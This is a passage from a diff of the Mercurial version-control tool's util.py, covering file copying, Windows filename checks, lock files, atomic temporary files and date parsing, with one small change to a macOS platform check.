             raise Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     gettopic = lambda: hardlink and _('linking') or _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             def nprog(t, pos):
                 if pos is not None:
                     return progress(t, pos + num)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         progress(topic, num)
     progress(topic, None)
 
     return hardlink, num
 
 _winreservednames = {
     'con', 'prn', 'aux', 'nul',
     'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
     'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
 }
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains '%s', which is invalid "
                          "on Windows") % escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return os.readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     fp = posixfile(pathname)
     r = fp.read()
     fp.close()
     return r
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def getfstype(dirpath):
     '''Get the filesystem type name from a directory (best-effort)
 
     Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
     '''
     return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                   suffix='1~', dir=os.path.dirname(testfile))
         os.close(fd)
         f2 = '%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def gui():
     '''Are we running in a GUI?'''
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
         elif getattr(osutil, 'isgui', None):
             # check if a CoreGraphics session is available
             return osutil.isgui()
         else:
             # pure build; use a safe default
             return True
     else:
         return pycompat.iswindows or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode)
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat.st_ctime == old.stat.st_ctime and
                     self.stat.st_mtime == old.stat.st_mtime)
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat.st_ctime == old.stat.st_ctime)
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat.st_mtime + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode)
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     # try removing directories that might now be empty
     try:
         removedirs(os.path.dirname(f))
     except OSError:
         pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 def makedate(timestamp=None):
     '''Return a unix timestamp (or the current time) as a (unixtime,
     offset) tuple based off the local timezone.'''
     if timestamp is None:
         timestamp = time.time()
     if timestamp < 0:
         hint = _("check your clock")
         raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
     delta = (datetime.datetime.utcfromtimestamp(timestamp) -
              datetime.datetime.fromtimestamp(timestamp))
     tz = delta.days * 86400 + delta.seconds
     return timestamp, tz
 
 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
     """represent a (unixtime, offset) tuple as a localized time.
     unixtime is seconds since the epoch, and offset is the time zone's
     number of seconds away from UTC.
 
     >>> datestr((0, 0))
     'Thu Jan 01 00:00:00 1970 +0000'
     >>> datestr((42, 0))
     'Thu Jan 01 00:00:42 1970 +0000'
     >>> datestr((-42, 0))
     'Wed Dec 31 23:59:18 1969 +0000'
     >>> datestr((0x7fffffff, 0))
     'Tue Jan 19 03:14:07 2038 +0000'
     >>> datestr((-0x80000000, 0))
     'Fri Dec 13 20:45:52 1901 +0000'
     """
     t, tz = date or makedate()
     if "%1" in format or "%2" in format or "%z" in format:
         sign = (tz > 0) and "-" or "+"
         minutes = abs(tz) // 60
         q, r = divmod(minutes, 60)
         format = format.replace("%z", "%1%2")
         format = format.replace("%1", "%c%02d" % (sign, q))
         format = format.replace("%2", "%02d" % r)
     d = t - tz
     if d > 0x7fffffff:
         d = 0x7fffffff
     elif d < -0x80000000:
         d = -0x80000000
     # Never use time.gmtime() and datetime.datetime.fromtimestamp()
     # because they use the gmtime() system call which is buggy on Windows
     # for negative values.
     t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
     s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
     return s
 
 def shortdate(date=None):
     """turn (timestamp, tzoff) tuple into iso 8631 date."""
     return datestr(date, format='%Y-%m-%d')
 
 def parsetimezone(s):
     """find a trailing timezone, if any, in string, and return a
        (offset, remainder) pair"""
 
     if s.endswith("GMT") or s.endswith("UTC"):
         return 0, s[:-3].rstrip()
 
     # Unix-style timezones [+-]hhmm
     if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
         sign = (s[-5] == "+") and 1 or -1
         hours = int(s[-4:-2])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
 
     # ISO8601 trailing Z
     if s.endswith("Z") and s[-2:-1].isdigit():
         return 0, s[:-1]
 
     # ISO8601-style [+-]hh:mm
     if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
         s[-5:-3].isdigit() and s[-2:].isdigit()):
         sign = (s[-6] == "+") and 1 or -1
         hours = int(s[-5:-3])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-6]
 
     return None, s
 
 def strdate(string, format, defaults=None):
     """parse a localized time string and return a (unixtime, offset) tuple.
     if the string cannot be parsed, ValueError is raised."""
     if defaults is None:
         defaults = {}
 
     # NOTE: unixtime = localunixtime + offset
     offset, date = parsetimezone(string)
 
     # add missing elements from defaults
     usenow = False # default to using biased defaults
     for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
         part = pycompat.bytestr(part)
         found = [True for p in part if ("%"+p) in format]
         if not found:
             date += "@" + defaults[part][usenow]
             format += "@%" + part[0]
         else:
             # We've found a specific time element, less specific time
             # elements are relative to today
             usenow = True
 
     timetuple = time.strptime(encoding.strfromlocal(date),
                               encoding.strfromlocal(format))
     localunixtime = int(calendar.timegm(timetuple))
     if offset is None:
         # local timezone
         unixtime = int(time.mktime(timetuple))
         offset = unixtime - localunixtime
     else:
         unixtime = localunixtime + offset
     return unixtime, offset
 
 def parsedate(date, formats=None, bias=None):
     """parse a localized date/time and return a (unixtime, offset) tuple.
 
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
     >>> parsedate(b' today ') == parsedate(
     ...     datetime.date.today().strftime('%b %d').encode('ascii'))
     True
     >>> parsedate(b'yesterday ') == parsedate(
     ...     (datetime.date.today() - datetime.timedelta(days=1)
     ...      ).strftime('%b %d').encode('ascii'))
     True
     >>> now, tz = makedate()
     >>> strnow, strtz = parsedate(b'now')
     >>> (strnow - now) < 1
     True
     >>> tz == strtz
     True
     """
     if bias is None:
         bias = {}
     if not date:
         return 0, 0
     if isinstance(date, tuple) and len(date) == 2:
         return date
     if not formats:
         formats = defaultdateformats
     date = date.strip()
 
     if date == 'now' or date == _('now'):
         return makedate()
     if date == 'today' or date == _('today'):
         date = datetime.date.today().strftime(r'%b %d')
         date = encoding.strtolocal(date)
     elif date == 'yesterday' or date == _('yesterday'):
         date = (datetime.date.today() -
                 datetime.timedelta(days=1)).strftime(r'%b %d')
         date = encoding.strtolocal(date)
 
     try:
         when, offset = map(int, date.split(' '))
     except ValueError:
         # fill out defaults
         now = makedate()
         defaults = {}
         for part in ("d", "mb", "yY", "HI", "M", "S"):
             # this piece is for rounding the specific end of unknowns
             b = bias.get(part)
             if b is None:
                 if part[0:1] in "HMS":
                     b = "00"
                 else:
                     b = "0"
 
             # this piece is for matching the generic end to today's date
             n = datestr(now, "%" + part[0:1])
 
             defaults[part] = (b, n)
 
         for format in formats:
             try:
                 when, offset = strdate(date, format, defaults)
             except (ValueError, OverflowError):
                 pass
             else:
                 break
         else:
             raise error.ParseError(_('invalid date: %r') % date)
     # validate explicit (probably user-specified) date and
     # time zone offset. values must fit in signed 32 bits for
     # current 32-bit linux runtimes. timezones go from UTC-12
     # to UTC+14
     if when < -0x80000000 or when > 0x7fffffff:
         raise error.ParseError(_('date exceeds 32 bits: %d') % when)
     if offset < -50400 or offset > 43200:
         raise error.ParseError(_('impossible time zone offset: %d') % offset)
     return when, offset
 
 def matchdate(date):
     """Return a function that matches a given date match specifier
 
     Formats include:
 
     '{date}' match a given date to the accuracy provided
 
     '<{date}' on or before a given date
 
     '>{date}' on or after a given date
 
     >>> p1 = parsedate(b"10:29:59")
     >>> p2 = parsedate(b"10:30:00")
     >>> p3 = parsedate(b"10:30:59")
     >>> p4 = parsedate(b"10:31:00")
     >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
     >>> f = matchdate(b"10:30")
     >>> f(p1[0])
     False
     >>> f(p2[0])
     True
     >>> f(p3[0])
     True
     >>> f(p4[0])
     False
     >>> f(p5[0])
     False
     """
 
     def lower(date):
         d = {'mb': "1", 'd': "1"}
         return parsedate(date, extendeddateformats, d)[0]
 
     def upper(date):
         d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
         for days in ("31", "30", "29"):
             try:
                 d["d"] = days
                 return parsedate(date, extendeddateformats, d)[0]
             except Abort:
                 pass
         d["d"] = "28"
         return parsedate(date, extendeddateformats, d)[0]
 
     date = date.strip()
 
     if not date:
         raise Abort(_("dates cannot consist entirely of whitespace"))
     elif date[0] == "<":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '<DATE'"))
         when = upper(date[1:])
         return lambda x: x <= when
     elif date[0] == ">":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '>DATE'"))
         when = lower(date[1:])
         return lambda x: x >= when
     elif date[0] == "-":
         try:
             days = int(date[1:])
         except ValueError:
             raise Abort(_("invalid day spec: %s") % date[1:])
         if days < 0:
             raise Abort(_("%s must be nonnegative (see 'hg help dates')")
                 % date[1:])
         when = makedate()[0] - days * 3600 * 24
         return lambda x: x >= when
     elif " to " in date:
         a, b = date.split(" to ")
         start, stop = lower(a), upper(b)
         return lambda x: x >= start and x <= stop
     else:
         start, stop = lower(date), upper(date)
         return lambda x: x >= start and x <= stop
 
 def stringmatcher(pattern, casesensitive=True):
     """
     accepts a string, possibly starting with 're:' or 'literal:' prefix.
     returns the matcher name, pattern, and matcher function.
     missing or unknown prefixes are treated as literal matches.
 
     helper for tests:
     >>> def test(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
     >>> def itest(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
 
     exact matching (no prefix):
     >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
     ('literal', 'abcdefg', [False, False, True])
 
     regex matching ('re:' prefix)
     >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
     ('re', 'a.+b', [False, False, True])
 
     force exact matches ('literal:' prefix)
     >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
     ('literal', 're:foobar', [False, True])
 
     unknown prefixes are ignored and treated as literals
     >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
     ('literal', 'foo:bar', [False, False, True])
 
     case insensitive regex matches
     >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
     ('re', 'A.+b', [False, False, True])
 
     case insensitive literal matches
     >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
     ('literal', 'ABCDEFG', [False, False, True])
     """
     if pattern.startswith('re:'):
         pattern = pattern[3:]
         try:
             flags = 0
             if not casesensitive:
                 flags = remod.I
             regex = remod.compile(pattern, flags)
         except remod.error as e:
             raise error.ParseError(_('invalid regular expression: %s')
                                    % e)
         return 're', pattern, regex.search
     elif pattern.startswith('literal:'):
         pattern = pattern[8:]
 
     match = pattern.__eq__
 
     if not casesensitive:
         ipat = encoding.lower(pattern)
         match = lambda s: ipat == encoding.lower(s)
     return 'literal', pattern, match
 
 def shortuser(user):
     """Return a short representation of a user name or email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     f = user.find(' ')
     if f >= 0:
         user = user[:f]
     f = user.find('.')
     if f >= 0:
         user = user[:f]
     return user
 
 def emailuser(user):
     """Return the user portion of an email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     return user
 
 def email(author):
     '''get email of author.'''
     r = author.find('>')
     if r == -1:
         r = None
     return author[author.find('<') + 1:r]
 
 def ellipsis(text, maxlength=400):
     """Trim string to at most maxlength (default: 400) columns in display."""
     return encoding.trim(text, maxlength, ellipsis='...')
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
 
 def escapestr(s):
     # call underlying function of s.encode('string_escape') directly for
     # Python 3 compatibility
     return codecs.escape_encode(s)[0]
 
 def unescapestr(s):
     return codecs.escape_decode(s)[0]
 
 def forcebytestr(obj):
     """Portably format an arbitrary object (e.g. exception) into a byte
     string."""
     try:
         return pycompat.bytestr(obj)
     except UnicodeEncodeError:
         # non-ascii string, may be lossy
         return pycompat.bytestr(encoding.strtolocal(str(obj)))
 
 def uirepr(s):
     # Avoid double backslash in Windows path repr()
     return repr(s).replace('\\\\', '\\')
 
 # delay import of textwrap
 def MBTextWrapper(**kwargs):
     class tw(textwrap.TextWrapper):
         """
         Extend TextWrapper for width-awareness.
 
         Neither number of 'bytes' in any encoding nor 'characters' is
         appropriate to calculate terminal columns for specified string.
 
         Original TextWrapper implementation uses built-in 'len()' directly,
         so overriding is needed to use width information of each characters.
 
